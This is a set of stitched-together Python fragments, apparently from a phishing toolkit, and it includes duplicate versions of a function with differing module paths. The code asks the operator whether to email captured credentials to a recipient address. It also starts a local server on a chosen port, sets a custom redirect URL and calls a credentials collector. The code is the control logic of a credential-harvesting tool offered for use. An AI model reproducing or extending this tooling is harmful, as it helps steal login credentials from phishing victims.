def captured_data_email_confirmation(port): import Defs.ActionManager.simple_informant as simple_informant choice = input( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}" .format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == "Y" or choice == "y": if path.isfile( "Defs/FeatureManager/EmailManager/emailconfig.py") == True: system("python3 Defs/FeatureManager/EmailManager/SendEmail.py") else: print( "[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION." ) wait(2) simple_informant.exit_message(port) elif choice == "N" or choice == "n": simple_informant.exit_message(port) else: system("clear") print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format( default_palette[0], default_palette[4], default_palette[2])) wait(1) system("clear") return captured_data_email_confirmation(port)
def captured_data_email_confirmation( port ): # Ask user to start sending credentials to recipient Email Address. choice = input( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}" .format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == 'Y' or choice == 'y': if path.isfile('Defs/Send_Email/emailconfig.py') == True: system('python3 Defs/Send_Email/SendEmail.py') else: print( '[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.' ) wait(2) simple_informant.exit_message(port) elif choice == 'N' or choice == 'n': simple_informant.exit_message(port) else: system('clear') print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format( default_palette[0], default_palette[4], default_palette[2])) wait(1) system('clear') return captured_data_email_confirmation(port)
# simple_informant.check_permissions() # verCheck() # For now it's useless, i'll rewrite it later, after release. ########### simple_informant.check_php() # FIXME we have to replace PHP with Python # checkLocalxpose() ConnectionController().verify_connection() # checkOpenport() # checkPagekite() # checkLT() if __name__ == "__main__": try: main_runner.start_main_menu() prompt.feature_prompt() main_runner.enter_custom_redirecting_url() port = simple_informant.port_selector() ############## server_runner.start_server(port) server_runner.server_selection(port) multiprocessing.Process(target=server_runner.start_server, args=(port, )).start() simple_informant.credentials_collector() except KeyboardInterrupt: # When Keyword Interrupt Occurs script will use 8080 port.(Just To Remove Exception Errors) port = "8080" simple_informant.exit_message(port) exit()